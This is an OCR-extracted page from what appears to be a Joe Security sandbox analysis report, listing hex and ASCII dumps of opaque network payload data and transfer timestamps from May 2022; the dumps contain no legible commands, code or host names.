07 8b 62 54 73 5e 99 b3 ¢9 4f 85 dd 63 cf e0 Oc 62 83 b0 0d 8f 86 be 8a 8a 10 €9 c9 8b 21 60 90 2e dd 89 66 78 62 63 d6
8 b1 6b 02 35 5e a5 84 dc a8 1b 65 1d 8e e6 10 48 e3 f2 2f 5b 0d 18 cd 62 96 67 fe 09 1d Oa 79 Oa c5 64 70 ed 00 30 34
77 84 98 ef ¢5 f9 50 14 9b 21 5f 1a d2 f0 53 d8 f8 55 b8 Ob a2 3a 14 99 71 3f c6 1f 10 6e cb 24 74 5c¢ f4 2f 4e 85 a4 e4 ba
39 dc 51 be 3c f6 77 6d fe d5 67 b1 f8 01 10 Oa 70 6e 74 8f 83 fa 4f 1c 1b 19 f7 f6 38 31 b8 0d 7e b6 00 af e6 cc 92 b4 7f
00 8c dd 11 3b 05 d2 bd 34 2b 1 84 c6 90 cf

Data Ascii: KSH*T!=z";/au+06,%S_hhF9FYbTs"Ocb!".fxbck5"eH/[bgydp04wP!_SU:q?n$tVNIQ<wmgpntO81~;4+

Data Raw: a7 36 cd 35 6e 8d 33 73 71 ec bf b5 4c ¢2 92 2f d0 Oc b0 2e db 5b 51 bd dc 83 bc 4c fe b3 7f 5b 81 fa 2¢ d2 96
b9 96 5f 6b 01 64 bd 3f 6d 02 dc b4 4d ce 78 e7 62 bd 4c c6 ec 33 b4 a0 78 31 b8 dc 84 40 3c 75 fc 57 21 34 69 ¢7 fd 70
bf d1 8f 34 3f aa 73 f1 2a 75 ef 18 f9 1d 1a b1 82 9a 10 45 8f 7e 6¢ 82 70 d2 f9 07 6f 63 52 dd f6 01 49 ab 02 a4 21 91 09
17 ff Oe 7b 1a 25 c0 00 3b bd 64 df 7a 5e be af fb 2f ad c6 15 €6 43 5b 38 b1 98 a0 2d 91 c2 9f 86 42 Oe 82 8e 23 ec 07
16 f1 bd 61 26 27 ed 81 4c 13 31 e0 a0 90 25 9a 3e 06 fe f9 de 62 66 ba e5 70 8d 96 df be 15 77 46 42 44 0 88 d6 5b 50
5c el8de5f761e5 2569 c2e897 1c 91 c7 4a 5f ab ¢3 5e d4 ba 75 2d db 5d 0d dd 6b d3 9d Ob 67 60 f2 11 74 97 ¢3 79
77 e47b c2 78 e3 35 fd 2e 33 04 cf bl df a8 cc 80

Data Ascii: 65n3sgL/.[QL[,_kd?mMxbL3x1@<uW!4ip4?s*uE~IpocRI{%;dz"/C[8-B#a&'L1%>bfpwFBD[P\a%iJ_~u-]k
g'tyw{x5.3

Data Raw: ef a8 6d fa 2f c1 96 4c b6 9d d2 b7 f3 90 a9 3d 80 e6 c2 ef d9 71 d1 59 Oc 85 34 1la d7 dO 1f 89 5e 14 2c e2 a7
la 7f 3e 23 01 39 ca aa 8b 9a Oe 48 80 7f 39 8f d3 f0 23 82 b5 00 da 2c 54 c9 0f 9f 33 b4 60 8a 44 61 ad f0 13 c7 18 64
12 €503 f4 ea cl 92 53 ec c0 Oe bl 5e 57 26 51 32 86 b8 9b 84 4d b9 79 eb aa 4d 98 e5 0a Ob 3a 4f db cc d1 70 70 db
59 ef 5e 14 01 85 d7 bd a0 b9 a0 e2 c2 d3 75 d2 b7 66 39 ac 81 3e 50 c0 50 6e 7d b6 df ce 2b 2f 8e 45 48 d4 4d 98 57 fa
7419 08 3b a0 1a 49 48 d6 b3 29 ff 13 8f 0a 05 a7 aa 78 b9 d0 62 1b b0 ee 3c c5 ba 9a 04 Oe 40 dd 06 45 20 34 67 b2 f5
ce 1c 07 21 58 a6 53 bc 6e ee 38 85 Ob 7b 26 65 e6 6b 17 8a ec e5 7b fd f1 b7 aa 10 al a5 f1 91 38 81 d4 25 0f 5d a3 41
2f f1 68 4b a0 b1l cf 6e dc dd 46 90 4d 43 65 eb 11 e3 50

Data Ascii: m/L=qY4",>#9H9#,T3' DadS"W&Q2MyM:OppY~uf9>PPn}+/EHMWt;IH)Xxb<@E 4g!XSn8{&ek{8%]A
/hKnFMCeP

Data Raw: 3d 7d 3a 6e 45 3 c6 cd c3 cc 95 1f e3 84 35 50 c4 88 e3 8d 34 42 67 39 06 60 59 4a ef 26 4e 61 02 0Of 31 5b
cl el 3393 5d8b a3 21 9a f4 6e d2 98 8 6e 9d 63 ec b5 9b f8 64 53 8b ce f1 03 a2 ab ad 95 ea Oc c2 ec aa ef 97 8 f4
88 c4 a0 d5 bb a9 85 05 ¢5 9a bl 65 3c 75 8a 77 d4 7c 07 69 b6 45 db a8 31 fc 6e be df c1 8¢ 15 0f 1b de aa a0 03 de f4
10c¢1 97 78 f0 Ob 67 72 06 1d 9e 79 c6 48 f1 ad ce 6¢ 03 9c Of c1 1d 78 1a a0 37 6b c4 5e b3 fc 1f ec 4b 72 e6 da 17 21
a8 7d 13 3c f1 50 3a 7f 21 fa b2 fd df 71 1b 37 47 50 31 f6 02 24 74 5 7e 27 06 62 55 a6 db 98 98 44 4f 64 c1 71 ad f5 3b
1c 49 a5 3a 96 4b c5 c4 a3 43 bf ca b2 90 8d b2 f1 36 32 ac 75 2e 52 0a 22 82 55 1b 32 48 6b e8 14 ec 5f 30 86 e7 00 df
3f a4 45 29 df c7 2d e9 dd el e7 81 fc 22 d6 df da ac

Data Ascii: =::nE5P4Bg9"YJ&Nal[3]!nncdSe<uw|iE1nxgryHIX7k"Kr!}<P:lq7GP1$t~'bUDOdq;:KC62u.R"U2Hk_0?E)-"
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 43 IN
2022-05-02 11:02:01 UTC 45 IN
2022-05-02 11:02:01 UTC 46 IN
2022-05-02 11:02:01 UTC 47 IN
2022-05-02 11:02:01 UTC 49 IN
2022-05-02 11:02:01 UTC 50 IN
2022-05-02 11:02:01 UTC 51 IN
2022-05-02 11:02:01 UTC 53 IN
2022-05-02 11:02:01 UTC 54 IN
2022-05-02 11:02:01 UTC 58 IN
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Data

Data Raw: 86 ab a6 7c 68 aa bc 30 6b 58 7e ab 29 al d4 5e f6 €9 80 88 77 13 00 a0 fb b4 e0 80 6f e0 d3 81 bd 4c 68 98
48 9e 32 a0 37 99 6d 2c 66 c3 66 44 6¢ c2 2b d4 08 21 60 17 c8 ce 97 fb 70 a0 96 c5 d9 81 7f ba ac 6a 1a 36 ff ea d0 9d
94 88 0b 15 2a 61 fe 5d 22 e0 01 8d 20 59 92 5f 73 38 67 1f 92 25 da 11 17 c8 7f ee 27 6b 07 b9 bc 1f 62 b7 e7 a0 a8 e0
9239 d4 19 93 04 24 24 f4 41 9c 4d 36 ac 9e 47 f9 30 90 3d d3 4f 95 35 12 2d 3d 19 85 d7 2a 49 b0 99 9e d2 Oa 65 6¢ 65
b0 e3 ab 4d 83 a9 d1 6f 84 ee a4 2b 45 08 1c 89 ac 7c 0f a7 4c d7 b0 4e b7 1f 45 b5 79 fa c5 9f e0 70 cd c8 b 6e 4e 48
9324 3c 65 4b ce f8 32 36 a9 b9 d2 fd 48 al c6 3a a7 01 6a 60 53 98 ee 4a 2c 27 5e 09 85 25 0a 99 47 3d 9a 6a df 12 2e
3b 7e e5 64 02 71 3e 53 ¢7 6a 87 a5 35 5f 02 0a 53 50 30

Data Ascii: [h0kX~)"woLhH27m,ffDI+!"pj6*a]" Y_s8g%'kb9$$AM6G0=05-=*leleMo+E|LNEypnNH$<eK26H:j'SJ,""%
G=j.;~dg>Sj5_SP0

Data Raw: f8 ad 88 40 80 a0 ac 49 40 80 a0 8f ab 92 1f b1 fc c9 a9 88 1c 04 88 16 9f c9 9a 95 88 40 80 a0 ac 49 40 80 9f
9d ab 92 Oc bb 90 fd 8d 88 08 05 88 03 83 cc {3 b4 88 40 80 a0 ac 49 40 80 a0 b2 ab 92 08 ab 82 fb b0 88 08 02 88 37 1d
5 9f al 84 88 40 80 a0 ac 49 40 80 a0 84 ab 92 10 b1 d3 db 9e 88 Ob 10 83 8a 84 99 88 Ob 1a 87 c4 8e b1 88 0f 85 ee
ab 93 88 40 80 a0 ac 49 40 80 a0 9f ab 92 Oa d2 eb dd 91 88 Ob 1d bf d5 fO a6 88 Ob Ob 88 cO f9 b1 88 06 a9 82 cc aa 88
40 80 a0 ac 49 40 80 a0 8e ab 92 0Ob f4 a0 9f ac 88 92 08 f4 91 97 84 88 05 fb €6 b9 a3 88 40 80 a0 ac 49 40 80 a0 89 ab
92 0f d4 e3 e8 bc 88 37 12 d6 f5 a2 83 88 40 80 a0 ac 49 40 80 a0 9d ab 92 1a a8 bf 8a 93 88 77 77 15 84 be 94 8a 88
40 80 a0 ac 49 40 80 a0 9a ab 92 14 8f cd c2 aa 88 37 08 04

Data Ascii: @lI@Q@IQQ@IQ7AIPQIPAIPAIATAI@WWAI@7

Data Raw: 49 40 80 9f a7 ab 92 10 el ad f3 b9 88 37 1c 06 88 06 el 81 d9 ba 88 40 80 a0 ac 49 40 80 9f 93 ab 92 0f b2
cl dd ac 88 34 06 ff c5 f6 88 37 10 d4 bd e8 8b 88 40 80 a0 ac 49 40 80 a0 93 ab 92 13 97 b6 e2 8e 88 77 77 15 84 be 94
8a 88 40 80 a0 ac 49 40 80 9f 8e ab 92 1f e2 8d da 86 88 1c 03 88 1e 90 ed dO b1 88 40 80 a0 ac 49 40 80 9f ac ab 92 0d
€2 83 d8 88 37 1c 06 88 06 el 81 d9 ba 88 40 80 a0 ac 49 40 80 9f b3 ab 92 07 fa b6 8a 9e 88 92 09 9c 93 d4 82 88 92
Ob f9 d0 94 ae 88 05 9f f5 ca b2 88 40 80 a0 ac 49 40 80 9f ba ab 92 01 80 93 9d 91 88 34 06 ff c5 f6 88 37 10 d4 bd e8
8b 88 40 80 a0 ac 49 40 80 9f 8d ab 92 1f e2 8d da 86 88 1c 03 88 1e 90 ed dO b1 88 40 80 a0 ac 49 40 80 9f bl ab 92 18
al ed 87 b0 88 37 Ob 05 d8 d2 89 ad 88 06 c8 b3 df b9 88 40

Data Ascii: I@7@I@47@10WwWR@IQQ@IQ7RICRAI@47TRI@A@I@7T@

Data Raw: 34 01 88 88 03 9a 88 17 88 01 1d 1d 8d Of 00 48 05 8f 88 0d 48 Ob 01 86 88 01 a2 88 1d 8e 0f 02 ac 88 10 34
2c 88 02 86 88 03 88 01 1d 1d 8e 0Of 05 a4 88 10 34 01 8e 88 03 ab 88 10 88 01 1d 1d 8e Of 2f 88 10 0d 1d Oe 88 01 1d
1d 8e 0f 03 80 88 10 0d 1d 1b 88 01 1d 1d 8d 0f 00 48 02 8a 88 10 0d 1d 0d 88 01 1d 1d 8e 0f 11 88 10 0d 1d 12 88 01
1d 1d 8e Of 25 88 09 48 40 80 9c 91 49 1d 8e 0f 03 a3 88 7d 1d 8e 97 60 80 b1 9f 69 01 9e 88 10 34 2a 88 02 80 88 02 8
802 1d 1d 8e 0Of 10 88 07 48 34 38 88 02 a8 88 1d 8e 0f 04 b7 88 07 48 34 01 8f 88 03 ae 88 1d 8e 0f 24 88 10 Ob 01 aa
8801 9588 0d 88 02 1d 1d 8e Of 1c 88 0d 48 Ob 1f 88 3b 88 1d 8d Of 00 48 04 87 88 10 07 1d Od 88 02 1d 1d 8e Of Oe 88
7d 1d 8e 47 60 80 b1 9e 69 Oc 88 07 48 34 01 8f 88 03 af 88 1d 8e

Data Ascii: 4HH4,4/H%H@!} i4*H48H4$H;H}G iH4

Data Raw: Of 88 02 1d 1d 8e 0f 01 bd 88 10 07 1d Oc 88 02 1d 1d 8e 0f 02 9c 88 10 7f 02 88 05 1d 05 88 0b 1d 1d 8e Of
03 b1 88 29 a2 31 40 88 01 98 1d 8e Of 01 97 88 7d 1d 8e 47 60 80 b1 9f 69 02 95 88 10 07 1d 07 88 02 1d 1d 8e 0f 03

95 88 7d 1d 8e 97 60 80 bl 9f 69 02 bd 88 10 07 1d Oa 88 02 1d 1d 8e Of 2b 88 7d 1d 8e 97 60 80 b1 9e 69 05 a0 88 10

07 1d 06 88 02 1d 1d 8e Of 01 93 88 10 0d 1d 07 88 01 1d 1d 8e Of 31 88 10 0d 1d Oc 88 01 1d 1d 8e Of 03 b7 88 10 07 1d
0b 88 02 1d 1d 8e Of 03 8b 88 10 34 01 82 88 03 87 88 12 88 01 1d 1d 8e Of 30 88 07 48 34 01 91 88 03 b3 88 1d 8e 0f 0
3ad 8810 0d 1d 11 88 01 1d 1d 8d Of 00 48 04 9f 88 10 07 1d 02 88 02 1d 1d 8e Of 02 b0 88 10 Ob 01 90 88 01 a5 88 00
8801 1d 1d 8e 0f 03 a5 88 10 34 01 88 88 03 98 88 17 88 01 1d 1d

Data Ascii: )1@}G i} i+} i140H4H4

Data Raw: 10 07 1d 02 88 02 1d 1d 8e 0f 04 81 88 7d 1d 8e 97 60 80 b1 9e 69 04 a0 88 0d 48 Ob 09 88 07 88 1d 8e Of 04
8588 0d 48 34 01 87 88 03 96 88 1d 8e Of 03 b6 88 10 0d 1d 15 88 01 1d 1d 8e Of 01 9a 88 7d 1d 8e 47 60 80 b1 9f 69
03 8388 10 34 01 ab 88 01 bd 88 19 88 01 1d 1d 8d 0f 00 48 05 a1 88 60 80 b1 90 69 09 48 60 80 b1 8f 69 04 60 80 b1l
8e 69 60 80 b1 8c 69 ad ad 60 80 b1 8d 69 25 00 88 60 80 b1 8c 69 ad 60 80 b2 9f 87 00 98 1d 8e 0f 03 a9 88 0d 48 34 0
18a 88 03 a0 88 1d 8e 0f 03 85 88 10 34 3e 88 02 ba 88 01 88 01 1d 1d 8e Of 04 88 7d 1d 8e 97 60 80 b1 9e 69 05 88 10
07 1d 07 88 02 1d 1d 8e 0f 05 9e 88 10 Ob 01 86 88 02 95 88 08 88 02 1d 1d 8e Of 1d 88 7d 1d 8e 97 60 80 b1 9f 69 Ob
88 07 48 34 2b 88 02 81 88 1d 8e 0f 04 94 88 7d 1d 8e 97 60 80 bl 9f

Data Raw: 1d 8e 0f 03 bb 88 10 0b 01 9a 88 31 88 03 88 01 1d 1d 8e 0f 04 a2 88 3d b1 1f 04 9b 0b 1d 04 1d 1d 8e 0f 03
96 88 0b 48 02 1d 1d 8e Of 02 91 88 22 8b 97 05 1d 1d 8e Of 01 bc 88 07 48 34 31 88 02 94 88 1d 8e Of 02 80 88 10 Ob 01
9f 88 30 88 1e 88 01 1d 1d 8e 0f 01 9¢ 88 10 0d 1d 14 88 01 1d 1d 8e Of 01 b4 88 10 Ob 16 88 03 al 88 09 88 01 1d 1d

8e Of 03 88 88 7d 1d 8e 47 60 80 b1 9f 69 04 9b 88 10 34 01 8b 88 03 al 88 14 88 01 1d 1d 8e Of 03 b3 88 10 34 19 88

0199 88 11 88 01 1d 1d 8e Of 18 88 10 0d 1d Ob 88 01 1d 1d 8d Of 00 48 05 a6 88 07 48 34 2d 88 02 87 88 1d 8e Of 01 a
78810 0b 01 83 88 01 83 88 03 88 01 1d 1d 8e 0f 01 b1 88 7d 1d 8e 97 60 80 b1 9f 69 Oe 88 0d 48 34 2d 88 02 88 88 1d
8d 0f 00 48 04 b6 88 10 0d 1d 1a 88 01 1d 1d 8e 0f 2d 88 7d 1d 8e

Data Ascii: 1=H"H410}G i44HH4-} iH4-H-}

Data Raw: 02 1d 1d 8e 0f 03 93 88 0d 48 Ob 23 88 03 8e 88 1d 8e 0f 04 92 88 10 0d 1d Oc 88 01 1d 1d 8e 0f 01 bb 88 07
48 34 01 9a 88 02 89 88 1d 8e 0f 36 88 2¢ 99 47 9b 05 1d 1d 8e 0f 04 ad 88 0d 48 34 32 88 02 96 88 1d 8e 0Of 02 8f 88 10
Ob 01 91 88 01 8a 88 1b 88 01 1d 1d 8e 0f 02 8c 88 10 0d 1d 15 88 01 1d 1d 8d 0f 00 48 01 96 88 0d 48 34 3e 88 01 bd
88 1d 8d 0f 00 48 03 a6 88 0d 48 34 01 af 88 02 85 88 1d 8e 0f 02 ab 88 10 0d 1d 0d 88 01 1d 1d 8e 0f 03 98 88 10 0d 1d
17 88 01 1d 1d 8d Of 00 48 03 92 88 10 34 3a 88 02 b0 88 09 88 02 1d 1d 8e 0f 03 9b 88 10 34 3d 88 02 b8 88 0d 88 01
1d 1d 8e 0f 10 88 7d 1d 8e 97 60 80 b1 9e 69 01 8d 88 10 0d 1d 11 88 01 1d 1d 8e 0f 02 al 88 7d 1d 8e 47 60 80 bl 9e 6
9018088100d 1d 02 88 01 1d 1d 8e 0f 01 82 88 10 Ob 01 a2 88

Data Ascii: H#H46,GH42HH4>HH4H4:4=}'i}Gi

Data Raw: 28 82 32 89 37 98 25 ae 25 88 32 9b 3b ae 2d b8 41 a2 30 86 46 82 45 a7 3b 88 47 a8 2c ad 28 96 37 b0 31
b5 30 a2 43 a8 44 80 23 a3 20 90 3e a0 40 89 44 bc 20 b0 1e a6 46 98 29 a2 20 84 2f b2 48 9a 2e bb 1e 82 49 98 39 92
39 a2 3d 8d 31 ab 20 98 40 a0 27 8b 43 9¢ 30 a9 1d ae 38 b4 20 8a 3 94 29 88 36 be 24 a5 22 a2 47 81 41 ac 20 b8 3a
of 46 9e 35 bf 2b a4 1e b6 37 84 29 b2 49 9e 3a 96 25 9¢ 28 9¢ 05 a8 al 00 1d 1d 8d Of 00 48 05 a2 88 a3 11 48 00 88
60 01 a0 80 83 a9 87 01 a0 80 83 86 69 24 a9 28 01 a0 80 81 be 62 01 a0 80 82 81 62 01 a0 80 81 ad 62 01 a0 80 80 a3
69 20 80 86 81 19 1d 87 47 11 1d 1c bc 57 7d 1c be 57 01 a0 80 8e 8¢ 62 17 1d 1c b9 47 17 1d a3 1c b4 57 11 48 01 88
7d 1c b4 57 11 48 9d 00 88 01 a0 80 8e a6 62 22 1d 10 1d 01 a0 80 83 ab 62

Data Ascii: (27%%2;-A0FE;G,(710CD# >@D F) /H.199=1 @'C08 >)6$"GA :F5+7)I:%(HH i$(bbbi GW}WbGWH}WHb'"b

Data Raw: 01 64 01 57 01 0f 01 48 01 ab 01 9c 01 af 01 05 3a 00 00 39 60 e8 cc e4 6d e7 fc d0 90 20 19 1c d3 6b 97 c2
89 a4 44 20 72 f4 6a 68 12 6a 7c 95 82 af Oc 1c 74 0d df e3 5d b0 0f a0 5a 5¢ 02 ac fO eb eb {7 89 5¢ 3e cc ca a7 2b 7d

41 fb bf 7 28 94 52 13 bc 75 34 52 50 ¢3 09 23 dc 25 41 fb 53 33 dd c8 f2 5b al da 1c 4c 5e 03 e7 20 39 ec 8f 98 5¢ b5 67
a3 2 4e 17 d8 c4 Ob d2 f6 28 5b 54 48 14 2¢ 95 51 c2 e5 bc 86 be 53 13 e3 39 ¢8 83 96 14 54 47 bc 90 46 1a 17 08 83 51
3a8adle3bafd5e 72 a8 69 23 54 d5 1e 98 74 9c 91 19 da 8f e2 f2 2a 63 3d 64 5e 28 b0 37 d6 ae 16 43 80 a8 4d e3 dc
15 fe ef 49 29 b8 3f 1a 10 97 26 16 03 c8 83 c2 38 ef 97 8f 24 1b eb eb 6 90 2b 1d 4e 2c ba 77 Ob e8 44 a6 b4 9a ab d3
e4 60 25 b2 60 19 5d 22 27 fa 98 e2 c8 af fd 39 87 89

Data Ascii: dWH:9'm kD rjhj[t]Z\>+}A(RU4RP#%AS3[L" 9\gN([TH,QSITGFQ:i#Tt*c=d(7CMI)?&8$+N,wD %']"'9

Page 33 of 85



kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 62 IN
2022-05-02 11:02:01 UTC 63 IN
2022-05-02 11:02:01 UTC 68 IN
2022-05-02 11:02:01 UTC 72 IN
2022-05-02 11:02:01 UTC 76 IN
2022-05-02 11:02:01 UTC 80 IN
2022-05-02 11:02:01 UTC 84 IN
2022-05-02 11:02:01 UTC 88 IN
2022-05-02 11:02:01 UTC 92 IN

Copyright Joe Security LLC 2022

Data

Data Raw: Oa f9 3b cf 45 b4 55 38 8d bf 3c fa 97 ce d5 fc b3 8b a0 52 61 13 b8 eb eb e6 5d 60 aa 5b 2a 19 7f 2f 7b 8c 12
99 ec ff bc 89 e3 89 5a ba d3 14 2e fe eb eb e6 4b 3c 43 Oe 23 98 b4 al a2 5f f9 81 f8 cO 2b 42 cf c0 62 Ob 11 ef b3 cf de
68 5¢c b2 6¢ 64 1e d4 ac af a8 38 dd 59 3b 95 eb eb e6 20 4e a8 19 77 62 4e 4c 40 cf 5 18 3f 1d 11 46 e5 c5 Ob ed e5 b0
e0 ebebe6fldd 76 1c a2 54 ee 3a 3b a8 a4 b7 73 4e bc eaeb eb e6 fb 70 70 75 4b 5b eb d5 a7 5f c4 45 16 4c 59 f8 Oc
eb eb e6 c6 15 52 df 11 4d 97 c2 cc 57 64 70 ab a7 e8 d4 37 8e 39 fa 39 6f eb eb e6 b0 4f 1f al 35 ee 6a d1 ee 71 26 {3
44 39 4b c4 3c ca ab eb eb e6 bb 45 07 6e 9b b5 c4 98 a0 20 a8 Oa 06 ae eb eb e6 81 38 e3 69 86 8f d2 3f a3 39 41 e3 af
91 eb eb e6 90 82 6d 2f 7c 15 2e 3f ec 98 68 Ob e5

Data Ascii: ;EU8<Ra] [*/{Z.K<C#_+Bbh\ld8Y; NwbNL@?FvT:;sNppuK[_ELYRMWdp799005jg&D9K<En 8i?9Am/|.?h

Data Raw: eb ea 62 64 80 d8 28 18 2e 08 7b Oe 1c ad 6 4e 7d b8 7d eb eb ea 44 c4 3f db bb 90 10 75 4f b9 da 99 2d Ob
d1d3 af 0d 92 ea 7d 1d ce b1 01 69 5e ab 17 67 1a 22 49 9c 6d 4a b4 eb eb ea 10 eb 4e aa 79 4c 08 60 8e 11 6e 3e 4f
a4 59 Oc e6 d6 e8 d7 33 a3 cc 0d aa ba 21 24 20 46 c0 cf 31 8f c9 dd 8e 1e c6 79 5b 14 78 a4 53 fc d2 9a 48 01 03 ef 6b
1b Oe eb eb ea dc fa fb 52 47 4a bc 58 0a 3a 53 8d 70 ce cd 93 cb 97 11 09 cc db 9f 37 8f fe 7c ac cb ¢3 bd a9 ed 97 78
00 Oe 25 44 21 e8 67 f7 72 fO f1 74 f2 c4 ef 3e 8f c8 89 al f1 cc ac 8¢ d4 eb eb ea 90 e7 d2 b4 32 00 b9 d2 7b 24 40 b5 85
e5 e6 5f 23 f2 36 bb 9a 34 0a 82 30 91 9c cb ad 7f 74 f2 2f b8 eb ¢7 15 dd 60 €9 3d da 1b 9f 8a 7e 97 1f 90 8c dO dc 2e
eb 17 4c eb eb ed 51 74 5e 93 99 7e 13 f2 ad 5d aa e2 12

Data Ascii: bd(.{N}}D?uO-}i*g"ImJINyL n>0Y3!$ F1y[xSHKRGJIX:Sp7|x%D!grt>2{$@_#640t/'=~.LQt"~]

Data Raw: 6a ad 2e 26 ec e4 70 85 43 93 1a 4c af af 79 c1 4e 8c 17 2b 23 0f be da 53 e8 ab eb 2f 8f d9 f8 Ob 03 Oa e4 a7
a0 ad Ob 0f 60 7b 1b 12 6b 3 ae e5 5¢ 27 50 8a 85 ac €9 f9 fa bd d5 6b 75 18 c4 48 c3 d8 ff 59 a3 60 c0 84 ca 25 54 50
7d 39 f8 14 53 44 5¢ 21 42 8d 0d 31 3c 67 23 1f 65 20 10 d5 37 2b b7 9c 73 34 7b 6¢ 92 88 fa 78 43 c6 €8 dc 81 a7 38 e5
60 ff 25 ff 3f ba 36 1a a3 24 a7 5f bc da 02 b0 07 e6 b2 d8 c5 27 5b 52 22 40 66 ee 6¢ aa ea 10 ec 1c b6 b6 2b 8 2¢ 26 6¢
3c 8e 7029 18 bd e3 ec 81 92 85 a7 0f 83 97 18 35 6a d9 fO cf 55 4c a6 8d ff 99 50 40 67 Ob 9b 33 b4 b0 2e 39 07 1d 58
98 ¢3 97 3a a7 45 21 ae b1 92 8e b8 5f 73 c0 13 34 00 €9 bc ¢9 82 b3 f9 64 37 8d 99 bf d9 c5 6f ef c1 6b c7 63 33 ab 2f
08 9a 9d 56 8a 8a 41 Ob ca b4 ff f2 91 81 f1 0d 1e

Data Ascii: j.&pCLYN+#S/ {k\'PkuHY %TP}9SD\|Bl<g#e 7+s4{IxC8 %?6$_'[R"@fl+,&I<p)5]ULP@g3.9X:E!_s4d7okc3/VA

Data Raw: 80 69 c0 8b 42 07 5b fb d9 fc 33 20 46 76 03 c9 e6 7f a9 d5 9a 87 9e 03 4f 53 8e 55 75 3f 60 9d a4 eb df 24 16
18 67 f2 d1 d0 13 92 6e 61 53 b7 30 ba 7d 8c 5e b3 30 e0 d5 fd 89 8a 6d ed a3 09 10 67 5f 96 d8 bf 61 a2 af 13 54 98 64
9 59 28 a3 03 cf fc 4d c0 56 e6 b2 51 17 4e 18 d3 4e cc a3 64 ba 93 c4 40 18 4f 79 7d c7 13 e3 12 32 5f 02 4c el 08 27
b9 53 f9 2e f1 89 70 63 f2 98 €9 b8 28 8b 88 2b e7 22 ad 05 a0 9c 9c dc 72 53 20 60 b6 59 dd 2a 67 b5 49 df bf 62 1e 90
f2 5e 97 09 e2 93 89 81 ca 53 c8 e7 66 fb 3e 47 1c d2 78 ff 55 c9 ea 60 c1 21 db 14 e4 d6 3d fe b2 2d 82 05 17 71 ed 37
97 6e c7 03 e0 ch 66 ef 8e 8f 26 6 f5 20 c5 28 45 84 40 7f 70 al ae 59 90 77 ce b5 47 99 eb 39 59 eb 72 80 5c fb a5 be f6
d8 4e f5 18 05 a3 03 cc 4d e2 02 e5 d8 59 el 68 30

Data Ascii: iB[3 FvOSUu? $gnasS0}*0mg_aTdY(MVQNNd@Oy}2_L'S.pc(+"rS “Y*gIbASf>GxU 1=-q7nf& (E@pYWGIYr\
NMYhO

Data Raw: 79 Of f0 79 48 10 52 c5 78 df Oc 50 62 90 38 d0 97 d5 2c 85 7b 0d bc 7a d3 fe 9d 73 f2 6d ee 86 5f d5 68 c8 5e
dd 61 1d 9b 3e 3f f3 bf 75 ee 83 fd 4b 99 53 c2 0b f9 66 dd cb f7 d9 Oc d9 91 5c 81 Oe Ob f9 4d el fd bc 43 48 aa b0 4e 85
17 8b 88 45 a0 8d e4 ff 5¢ 61 e6 ce c8 e6 08 57 10 96 3b 25 1a 4d 8f 64 46 fO a5 4c d8 9c e4 cc a3 05 fO b8 bl ef 13 67
ed a2 29 d2 e2 f0 24 98 89 67 59 b7 2b 5d 27 b7 8b 52 6e 6e 6¢ 4e 5¢c 2e 73 d4 b7 c2 23 b7 4e c4 2f 56 2d 0d 5b ac e0
€3 38 30 6a 22 fa 79 ff 28 db 96 bf 4c aa ad 7d ce 98 39 9f 41 9b a6 f5 40 2a 3c f7 cb 4e 68 €3 d8 06 88 70 4c e3 21 8d
7a 76 a9 68 75 a4 b8 08 96 d3 86 b6 0d ec f0 30 fa be dc 6¢ d2 46 Oa 3c 2e 74 ed d7 14 25 be e7 82 bc 5¢ ¢3 9b be 0b f4
67 3f 34 26 Oc e0 f2 70 b1 92 b4 ¢3 96 86 0 ce 90 bf

Data Ascii: yyHRxPb8,{zsm_h"a>?uKSAMCHNE\aW;%MdFLg)$gY+]'RnnIN\.s#N/V-[80;"y(L}9A@*<NhpL!zvhuOIF<.t%\g?
4&p

Data Raw: d4 5f 94 ¢3 14 7a 70 92 c8 e7 f0 c6 9d f9 49 43 af 2d 3d e9 2e 2f 28 67 ba 5a a3 ab 8d cd 88 46 79 5a f7 37 de
e3fe 7f c9 a0 72 e7 3f 29 03 e0 ce 1a 75 be a8 a4 6f 42 12 cc 06 e7 90 52 86 5 9d a8 fd 55 a9 80 90 fc be 03 b9 00 fa 68
1a 16 04 36 18 5f 2a b0 86 6b 15 d1 ec 66 5c 4f c9 f0 33 a5 88 cd f1 c5 Oe 07 42 1b 7f 54 0a 53 al ed 49 42 ff da 47 61 df
8f 73 6 1f 44 c8 9a 0d 78 b5 f9 45 e0 50 f1 99 f8 8f cd fd 40 6e ef ed 82 8b 9f c1 6a 4a 0d a7 27 d4 e7 a5 9b e 2e 20 fb
7ae9 bl ae 0f 89 a4 08 72 ac b5 61 07 eb 91 d6 51 d8 73 e0 da ac 47 9a 51 01 99 00 cd da 38 9d Oc 86 57 22 ad 58 bf bc
€2 97 3e 1d 9a 57 25 45 fb 8b b3 0f ef d9 8d 97 9c 8d 46 75 97 b0 74 c5 78 c6 54 9b e8 3f 08 d4 c5 36 5e fb 89 af c9 8¢
15 e7 6b fc c7 c3 f4 a4 aa 1b 83 f9 a2 a9 e8

Data Ascii: _zplC-=./(9ZFyZ7r?)uoBRUN6_*kAO3BTSIBGasDXEP@njJ'. zraQsGQ8W"X>WI%EFutxT?6k

Data Raw: a4 fc e2 17 08 b1 fe 57 d7 e8 60 bf 38 47 45 da f1 8b ce 60 16 €9 98 fa 4f 90 a7 8d e5 91 79 4a f3 09 15 24 c4
b3 fa a4 4c c4 55 ¢5 40 a8 ff 9c 75 1d 93 d8 1f 2b 9c 34 32 e0 4c a7 0d 75 23 58 6e 7c 48 69 31 45 Oc 21 14 72 1a 20 50
340388515 73 c5aa 64 b5 74 ee f4 2514 e8 dd c2 6e 39 10 c7 c1 f4 74 34 00 77 90 77 6d 4c e6 1d 63 67 2e 6e {7 a4
62 d1 67 a6 7b 96 76 98 24 4e f3 0f e0 f6 77 15 d5 f1 cd 89 f2 f6 4d f9 b7 81 71 27 4c¢ 11 52 7f 8a 60 05 f9 91 50 e0 48 10
62 2fe3 79 16 4c 2b ed 6f 1c ec 2a 40 a6 08 Oe c0 10 30 70 4e ba c8 2f 70 79 5f 22 5e e7 48 26 d2 75 96 5b cd 7a 5¢ 57
50 72 d0 a6 a5 67 84 df e9 bd 67 ca 90 b2 19 f7 c4 f4 77 al 56 f5 43 5d 7b d3 ff 39 77 d1 6a 8f ae 84 f5 50 fO 05 c3 e6 f1
4396 7c 77 4b a8 55 84 b9 ff 8¢ ac ce b6 55 ad

Data Ascii: W'8GE OyJ$LU@u+42Lu#Xn|Hi1E!r P@8sdt%n9t4wwmLcg.nbg{vENwMq'LR PHb/yL+0*@0pN/py
